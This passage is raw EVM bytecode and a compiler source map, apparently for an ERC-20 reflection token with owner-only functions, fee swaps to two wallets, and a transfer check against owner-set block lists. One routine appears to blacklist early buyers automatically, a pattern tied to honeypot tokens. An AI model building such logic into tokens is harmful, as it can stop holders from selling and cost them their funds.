fffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611cff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d555750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611d6b576004600b819055506007600c819055505b6000611d763061096a565b9050601260009054906101000a900460ff16158015611de35750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611dfb5750601260019054906101000a900460ff165b15611e2357611e09816120b8565b60004790506000811115611e2157611e2047611f4f565b5b505b505b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611ec95750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611ed257600080fd5b611edb826123b2565b611ee6838383612456565b505050565b6000838311158290611f33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f2a919061319e565b60405180910390fd5b5060008385611f429190613517565b9050809150509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611f9f60028461246690919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611fca573d6000803e3d6000fd5b50600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61201b60028461246690919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612046573d6000803e3d6000fd5b5050565b6000600954821115612091576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612088906131e0565b60405180910390fd5b600061209b6124b0565b90506120b0818461246690919063ffffffff16565b915050919050565b6001601260006101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612116577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156121445781602001602082028036833780820191505090505b5090503081600081518110612182577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561222457600080fd5b505afa158015612238573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061225c9190612c52565b81600181518110612296577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506122fd30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611665565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161236195949392919061331b565b600060405180830381600087803b15801561237b57600080fd5b505af115801561238f573d6000803e3d6000fd5b50505050506000601260006101000a81548160ff02191690831515021790555050565b601260039054906101000a900460ff161561243b576003601154121580156123dc5750602d601154125b1561243a576001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b6011600081548092919061244e90613620565b919050555050565b6124618383836124db565b505050565b60006124a883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506126a6565b905092915050565b60008060006124bd612709565b915091506124d4818361246690919063ffffffff16565b9250505090565b6000806000806000806124ed87612774565b95509550955095509550955061254b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127dc90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125e085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061262c81612884565b6126368483612941565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516126939190613300565b60405180910390a3505050505050505050565b600080831182906126ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126e4919061319e565b60405180910390fd5b50600083856126fc919061348c565b9050809150509392505050565b6000806000600954905060006b033b2e3c9fd0803ce800000090506127456b033b2e3c9fd0803ce800000060095461246690919063ffffffff16565b821015612767576009546b033b2e3c9fd0803ce8000000935093505050612770565b81819350935050505b9091565b60008060008060008060008060006127918a600b54600c5461297b565b92509250925060006127a16124b0565b905060008060006127b48e878787612a11565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061281e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611eeb565b905092915050565b60008082846128359190613436565b90508381101561287a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161287190613220565b60405180910390fd5b8091505092915050565b600061288e6124b0565b905060006128a58284612a9a90919063ffffffff16565b90506128f981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612956826009546127dc90919063ffffffff16565b60098190555061297181600a5461282690919063ffffffff16565b600a819055505050565b6000806000806129a76064612999888a612a9a90919063ffffffff16565b61246690919063ffffffff16565b905060006129d160646129c3888b612a9a90919063ffffffff16565b61246690919063ffffffff16565b905060006129fa826129ec858c6127dc90919063ffffffff16565b6127dc90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612a2a8589612a9a90919063ffffffff16565b90506000612a418689612a9a90919063ffffffff16565b90506000612a588789612a9a90919063ffffffff16565b90506000612a8182612a7385876127dc90919063ffffffff16565b6127dc90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612aad5760009050612b0f565b60008284612abb91906134bd565b9050828482612aca919061348c565b14612b0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b0190613240565b60405180910390fd5b809150505b92915050565b6000612b28612b23846133b5565b613390565b90508083825260208201905082856020860282011115612b4757600080fd5b60005b85811015612b775781612b5d8882612b81565b845260208401935060208301925050600181019050612b4a565b5050509392505050565b600081359050612b90816139f4565b92915050565b600081519050612ba5816139f4565b92915050565b600082601f830112612bbc57600080fd5b8135612bcc848260208601612b15565b91505092915050565b600081359050612be481613a0b565b92915050565b600081519050612bf981613a0b565b92915050565b600081359050612c0e81613a22565b92915050565b600081519050612c2381613a22565b92915050565b600060208284031215612c3b57600080fd5b6000612c4984828501612b81565b91505092915050565b600060208284031215612c6457600080fd5b6000612c7284828501612b96565b91505092915050565b60008060408385031215612c8e57600080fd5b6000612c9c85828601612b81565b9250506020612cad85828601612b81565b9150509250929050565b600080600060608486031215612ccc57600080fd5b6000612cda86828701612b81565b9350506020612ceb86828701612b81565b9250506040612cfc86828701612bff565b9150509250925092565b60008060408385031215612d1957600080fd5b6000612d2785828601612b81565b9250506020612d3885828601612bff565b9150509250929050565b600060208284031215612d5457600080fd5b600082013567ffffffffffffffff811115612d6e57600080fd5b612d7a84828501612bab565b91505092915050565b600060208284031215612d9557600080fd5b6000612da384828501612bd5565b91505092915050565b600060208284031215612dbe57600080fd5b6000612dcc84828501612bea565b91505092915050565b600080600060608486031215612dea57600080fd5b6000612df886828701612c14565b9350506020612e0986828701612c14565b9250506040612e1a86828701612c14565b9150509250925092565b6000612e308383612e3c565b60208301905092915050565b612e458161354b565b82525050565b612e548161354b565b82525050565b6000612e65826133f1565b612e6f8185613414565b9350612e7a836133e1565b8060005b83811015612eab578151612e928882612e24565b9750612e9d83613407565b925050600181019050612e7e565b5085935050505092915050565b612ec18161355d565b82525050565b612ed081613569565b82525050565b612edf816135aa565b82525050565b6000612ef0826133fc565b612efa8185613425565b9350612f0a8185602086016135bc565b612f138161373f565b840191505092915050565b6000612f2b602383613425565b9150612f3682613750565b604082019050919050565b6000612f4e602a83613425565b9150612f598261379f565b604082019050919050565b6000612f71602283613425565b9150612f7c826137ee565b604082019050919050565b6000612f94601b83613425565b9150612f9f8261383d565b602082019050919050565b6000612fb7602183613425565b9150612fc282613866565b604082019050919050565b6000612fda602083613425565b9150612fe5826138b5565b602082019050919050565b6000612ffd602983613425565b9150613008826138de565b604082019050919050565b6000613020602583613425565b915061302b8261392d565b604082019050919050565b6000613043602483613425565b915061304e8261397c565b604082019050919050565b6000613066601783613425565b9150613071826139cb565b602082019050919050565b61308581613593565b82525050565b6130948161359d565b82525050565b60006020820190506130af6000830184612e4b565b92915050565b60006040820190506130ca6000830185612e4b565b6130d76020830184612e4b565b9392505050565b60006040820190506130f36000830185612e4b565b613100602083018461307c565b9392505050565b600060c08201905061311c6000830189612e4b565b613129602083018861307c565b6131366040830187612ed6565b6131436060830186612ed6565b6131506080830185612e4b565b61315d60a083018461307c565b979650505050505050565b600060208201905061317d6000830184612eb8565b92915050565b60006020820190506131986000830184612ec7565b92915050565b600060208201905081810360008301526131b88184612ee5565b905092915050565b600060208201905081810360008301526131d981612f1e565b9050919050565b600060208201905081810360008301526131f981612f41565b9050919050565b6000602082019050818103600083015261321981612f64565b9050919050565b6000602082019050818103600083015261323981612f87565b9050919050565b6000602082019050818103600083015261325981612faa565b9050919050565b6000602082019050818103600083015261327981612fcd565b9050919050565b6000602082019050818103600083015261329981612ff0565b9050919050565b600060208201905081810360008301526132b981613013565b9050919050565b600060208201905081810360008301526132d981613036565b9050919050565b600060208201905081810360008301526132f981613059565b9050919050565b6000602082019050613315600083018461307c565b92915050565b600060a082019050613330600083018861307c565b61333d6020830187612ed6565b818103604083015261334f8186612e5a565b905061335e6060830185612e4b565b61336b608083018461307c565b9695505050505050565b600060208201905061338a600083018461308b565b92915050565b600061339a6133ab565b90506133a682826135ef565b919050565b6000604051905090565b600067ffffffffffffffff8211156133d0576133cf613710565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061344182613593565b915061344c83613593565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613481576134806136b2565b5b828201905092915050565b600061349782613593565b91506134a283613593565b9250826134b2576134b16136e1565b5b828204905092915050565b60006134c882613593565b91506134d383613593565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561350c5761350b6136b2565b5b828202905092915050565b600061352282613593565b915061352d83613593565b9250828210156135405761353f6136b2565b5b828203905092915050565b600061355682613573565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006135b582613593565b9050919050565b60005b838110156135da5780820151818401526020810190506135bf565b838111156135e9576000848401525b50505050565b6135f88261373f565b810181811067ffffffffffffffff8211171561361757613616613710565b5b80604052505050565b600061362b82613569565b91507f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561365e5761365d6136b2565b5b600182019050919050565b600061367482613593565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156136a7576136a66136b2565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6139fd8161354b565b8114613a0857600080fd5b50565b613a148161355d565b8114613a1f57600080fd5b50565b613a2b81613593565b8114613a3657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220497900529332ab51753a0af71b3ddd2e3dfaa4ec79be1c74ca2fe8d83fc4b8fa64736f6c63430008040033

Deployed Bytecode Sourcemap

3751:11265:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4887:25;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5821:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6673:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6098:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4084:42;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6842:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11111:88;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6007:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4822:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7163:103;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12607:199;;;;;;;;;;;;;:::i;:::-;;6201:138;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2830:148;;;;;;;;;;;;;:::i;:::-;;13855:110;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2616:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5912:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13658:189;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6347:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10935:164;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12281:200;;;;;;;;;;;;;:::i;:::-;;10100:823;;;;;;;;;;;;;:::i;:::-;;12497:102;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6522:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5038:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4857:23;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4887:25;;;;:::o;5821:83::-;5858:13;5891:5;;;;;;;;;;;;;;;;;5884:12;;5821:83;:::o;6673:161::-;6748:4;6765:39;6774:12;:10;:12::i;:::-;6788:7;6797:6;6765:8;:39::i;:::-;6822:4;6815:11;;6673:161;;;;:::o;6098:95::-;6151:7;4313:27;6171:14;;6098:95;:::o;4084:42::-;;;;;;;;;;;;;;;;;;;;;;:::o;6842:313::-;6940:4;6957:36;6967:6;6975:9;6986:6;6957:9;:36::i;:::-;7004:121;7013:6;7021:12;:10;:12::i;:::-;7035:89;7073:6;7035:89;;;;;;;;;;;;;;;;;:11;:19;7047:6;7035:19;;;;;;;;;;;;;;;:33;7055:12;:10;:12::i;:::-;7035:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;7004:8;:121::i;:::-;7143:4;7136:11;;6842:313;;;;;:::o;11111:88::-;2753:12;:10;:12::i;:::-;2743:22;;:6;;;;;;;;;;:22;;;2735:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11186:5:::1;11171:4;:12;11176:6;11171:12;;;;;;;;;;;;;;;;:20;;;;;;;;;;;;;;;;;;11111:88:::0;:::o;6007:83::-;6048:5;4759:1;6066:16;;6007:83;:::o;4822:28::-;;;;;;;;;;;;;:::o;7163:103::-;2753:12;:10;:12::i;:::-;2743:22;;:6;;;;;;;;;;:22;;;2735:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;7253:5:::1;7235:15;;:23;;;;;;;;;;;;;;;;;;7163:103:::0;:::o;12607:199::-;12673:20;;;;;;;;;;;12657:36;;:12;:10;:12::i;:::-;:36;;;12649:45;;;;;;12705:26;12734:21;12705:50;;12766:32;12779:18;12766:12;:32::i;:::-;12607:199;:::o;6201:138::-;6267:7;6294:37;6314:7;:16;6322:7;6314:16;;;;;;;;;;;;;;;;6294:19;:37::i;:::-;6287:44;;6201:138;;;:::o;2830:148::-;2753:12;:10;:12::i;:::-;2743:22;;:6;;;;;;;;;;:22;;;2735:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;2937:1:::1;2900:40;;2921:6;::::0;::::1;;;;;;;;2900:40;;;;;;;;;;;;2968:1;2951:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;2830:148::o:0;13855:110::-;2753:12;:10;:12::i;:::-;2743:22;;:6;;;;;;;;;;:22;;;2735:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;13952:5:::1;13928:9;:21;13938:10;13928:21;;;;;;;;;;;;;;;;:29;;;;;;;;;;;;;;;;;;13855:110:::0;:::o;2616:79::-;2654:7;2681:6;;;;;;;;;;;2674:13;;2616:79;:::o;5912:87::-;5951:13;5984:7;;;;;;;;;;;;;;;;;5977:14;;5912:87;:::o;13658:189::-;2753:12;:10;:12::i;:::-;2743:22;;:6;;;;;;;;;;:22;;;2735:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;13742:6:::1;13737:103;13758:10;:17;13754:1;:21;13737:103;;;13824:4;13797:9;:24;13807:10;13818:1;13807:13;;;;;;;;;;;;;;;;;;;;;;13797:24;;;;;;;;;;;;;;;;:31;;;;;;;;;;;;;;;;;;13777:3;;;;;:::i;:::-;;;;13737:103;;;;13658:189:::0;:::o;6347:167::-;6425:4;6442:42;6452:12;:10;:12::i;:::-;6466:9;6477:6;6442:9;:42::i;:::-;6502:4;6495:11;;6347:167;;;;:::o;10935:164::-;2753:12;:10;:12::i;:::-;2743:22;;:6;;;;;;;;;;:22;;;2735:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11009:6:::1;11004:88;11025:5;:12;11021:1;:16;11004:88;;;11076:4;11059;:14;11064:5;11070:1;11064:8;;;;;;;;;;;;;;;;;;;;;;11059:14;;;;;;;;;;;;;;;;:21;;;;;;;;;;;;;;;;;;11039:3;;;;;:::i;:::-;;;;11004:88;;;;10935:164:::0;:::o;12281:200::-;12347:20;;;;;;;;;;;12331:36;;:12;:10;:12::i;:::-;:36;;;12323:45;;;;;;12379:23;12405:24;12423:4;12405:9;:24::i;:::-;12379:50;;12440:33;12457:15;12440:16;:33::i;:::-;12281:200;:::o;10100:823::-;2753:12;:10;:12::i;:::-;2743:22;;:6;;;;;;;;;;:22;;;2735:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10164:11:::1;;;;;;;;;;;10163:12;10155:47;;;;;;;;;;;;:::i;:::-;;;;;;;;;10213:35;10270:42;10213:100;;10342:16;10324:15;;:34;;;;;;;;;;;;;;;;;;10369:58;10386:4;10401:15;;;;;;;;;;;4313:27;10369:8;:58::i;:::-;10472:16;:24;;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10454:56;;;10519:4;10526:16;:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10454:96;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10438:13;;:112;;;;;;;;;;;;;;;;;;10561:15;;;;;;;;;;;:31;;;10600:21;10631:4;10637:24;10655:4;10637:9;:24::i;:::-;10662:1;10664::::0;10666:7:::1;:5;:7::i;:::-;10674:15;10561:129;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;10715:4;10701:11;;:18;;;;;;;;;;;;;;;;;;10748:4;10730:15;;:22;;;;;;;;;;;;;;;;;;10778:26;10763:12;:41;;;;10829:4;10815:11;;:18;;;;;;;;;;;;;;;;;;10851:13;;;;;;;;;;;10844:29;;;10882:15;;;;;;;;;;;10900:14;10844:71;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;2813:1;10100:823::o:0;12497:102::-;2753:12;:10;:12::i;:::-;2743:22;;:6;;;;;;;;;;:22;;;2735:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12580:7:::1;12568:9;;:19;;;;;;;;;;;;;;;;;;12497:102:::0;:::o;6522:143::-;6603:7;6630:11;:18;6642:5;6630:18;;;;;;;;;;;;;;;:27;6649:7;6630:27;;;;;;;;;;;;;;;;6623:34;;6522:143;;;;:::o;5038:28::-;;;;;;;;;;;;;:::o;4857:23::-;;;;;;;;;;;;;:::o;334:98::-;387:7;414:10;407:17;;334:98;:::o;7536:335::-;7646:1;7629:19;;:5;:19;;;;7621:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7727:1;7708:21;;:7;:21;;;;7700:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7809:6;7779:11;:18;7791:5;7779:18;;;;;;;;;;;;;;;:27;7798:7;7779:27;;;;;;;;;;;;;;;:36;;;;7847:7;7831:32;;7840:5;7831:32;;;7856:6;7831:32;;;;;;:::i;:::-;;;;;;;;7536:335;;;:::o;7879:1538::-;7983:1;7967:18;;:4;:18;;;;7959:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8060:1;8046:16;;:2;:16;;;;8038:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;8130:1;8121:6;:10;8113:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;8200:1;8188:9;:13;;;;8224:1;8212:9;:13;;;;8248:7;:5;:7::i;:::-;8240:15;;:4;:15;;;;:32;;;;;8265:7;:5;:7::i;:::-;8259:13;;:2;:13;;;;8240:32;8236:1052;;;8298:4;:10;8303:4;8298:10;;;;;;;;;;;;;;;;;;;;;;;;;8297:11;:24;;;;;8313:4;:8;8318:2;8313:8;;;;;;;;;;;;;;;;;;;;;;;;;8312:9;8297:24;8289:33;;;;;;8349:13;;;;;;;;;;;8341:21;;:4;:21;;;:55;;;;;8380:15;;;;;;;;;;;8366:30;;:2;:30;;;;8341:55;:83;;;;;8402:18;:22;8421:2;8402:22;;;;;;;;;;;;;;;;;;;;;;;;;8400:24;8341:83;:102;;;;;8428:15;;;;;;;;;;;8341:102;8337:325;;;8511:12;;8501:6;:22;;8493:31;;;;;;8566:15;8551:8;:12;8560:2;8551:12;;;;;;;;;;;;;;;;:30;8543:39;;;;;;8635:10;8616:15;:30;;;;:::i;:::-;8601:8;:12;8610:2;8601:12;;;;;;;;;;;;;;;:45;;;;8337:325;8714:13;;;;;;;;;;;8708:19;;:2;:19;;;:55;;;;;8747:15;;;;;;;;;;;8731:32;;:4;:32;;;;8708:55;:85;;;;;8769:18;:24;8788:4;8769:24;;;;;;;;;;;;;;;;;;;;;;;;;8767:26;8708:85;8704:171;;;8826:1;8814:9;:13;;;;8858:1;8846:9;:13;;;;8704:171;8889:28;8920:24;8938:4;8920:9;:24::i;:::-;8889:55;;8964:6;;;;;;;;;;;8963:7;:32;;;;;8982:13;;;;;;;;;;;8974:21;;:4;:21;;;;8963:32;:47;;;;;8999:11;;;;;;;;;;;8963:47;8959:318;;;9031:38;9048:20;9031:16;:38::i;:::-;9088:26;9117:21;9088:50;;9181:1;9160:18;:22;9157:105;;;9207:35;9220:21;9207:12;:35::i;:::-;9157:105;8959:318;;8236:1052;;9301:9;:15;9311:4;9301:15;;;;;;;;;;;;;;;;;;;;;;;;;9300:16;:34;;;;;9321:9;:13;9331:2;9321:13;;;;;;;;;;;;;;;;;;;;;;;;;9320:14;9300:34;9292:43;;;;;;9352:14;9363:2;9352:10;:14::i;:::-;9379:30;9394:4;9399:2;9402:6;9379:14;:30::i;:::-;7879:1538;;;:::o;1471:190::-;1557:7;1590:1;1585;:6;;1593:12;1577:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1617:9;1633:1;1629;:5;;;;:::i;:::-;1617:17;;1652:1;1645:8;;;1471:190;;;;;:::o;9924:164::-;9981:20;;;;;;;;;;;:29;;:44;10011:13;10022:1;10011:6;:10;;:13;;;;:::i;:::-;9981:44;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10036:20;;;;;;;;;;;:29;;:44;10066:13;10077:1;10066:6;:10;;:13;;;;:::i;:::-;10036:44;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9924:164;:::o;7274:254::-;7341:7;7380;;7369;:18;;7361:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;7445:19;7468:10;:8;:10::i;:::-;7445:33;;7496:24;7508:11;7496:7;:11;;:24;;;;:::i;:::-;7489:31;;;7274:254;;;:::o;9425:483::-;5211:4;5202:6;;:13;;;;;;;;;;;;;;;;;;9503:21:::1;9541:1;9527:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9503:40;;9572:4;9554;9559:1;9554:7;;;;;;;;;;;;;;;;;;;;;:23;;;;;;;;;::::0;::::1;9598:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9588:4;9593:1;9588:7;;;;;;;;;;;;;;;;;;;;;:32;;;;;;;;;::::0;::::1;9631:62;9648:4;9663:15;;;;;;;;;;;9681:11;9631:8;:62::i;:::-;9704:15;;;;;;;;;;;:66;;;9785:11;9811:1;9827:4;9854;9874:15;9704:196;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;5226:1;5247:5:::0;5238:6;;:14;;;;;;;;;;;;;;;;;;9425:483;:::o;13975:181::-;14030:9;;;;;;;;;;;14027:102;;;14065:1;14054:7;;:12;;:26;;;;;14078:2;14070:7;;:10;14054:26;14051:77;;;14112:4;14096:9;:15;14106:4;14096:15;;;;;;;;;;;;;;;;:20;;;;;;;;;;;;;;;;;;14051:77;14027:102;14139:7;;:9;;;;;;;;;:::i;:::-;;;;;;13975:181;:::o;11215:146::-;11309:44;11327:6;11335:9;11346:6;11309:17;:44::i;:::-;11215:146;;;:::o;1923:132::-;1981:7;2008:39;2012:1;2015;2008:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;2001:46;;1923:132;;;;:::o;14580:163::-;14621:7;14642:15;14659;14678:19;:17;:19::i;:::-;14641:56;;;;14715:20;14727:7;14715;:11;;:20;;;;:::i;:::-;14708:27;;;;14580:163;:::o;11369:488::-;11468:15;11485:23;11510:12;11524:23;11549:12;11563:13;11580:19;11591:7;11580:10;:19::i;:::-;11467:132;;;;;;;;;;;;11628:28;11648:7;11628;:15;11636:6;11628:15;;;;;;;;;;;;;;;;:19;;:28;;;;:::i;:::-;11610:7;:15;11618:6;11610:15;;;;;;;;;;;;;;;:46;;;;11688:39;11711:15;11688:7;:18;11696:9;11688:18;;;;;;;;;;;;;;;;:22;;:39;;;;:::i;:::-;11667:7;:18;11675:9;11667:18;;;;;;;;;;;;;;;:60;;;;11739:16;11749:5;11739:9;:16::i;:::-;11766:23;11778:4;11784;11766:11;:23::i;:::-;11822:9;11805:44;;11814:6;11805:44;;;11833:15;11805:44;;;;;;:::i;:::-;;;;;;;;11369:488;;;;;;;;;:::o;2063:189::-;2149:7;2181:1;2177;:5;2184:12;2169:28;;;;;;;;;;;;;;:::i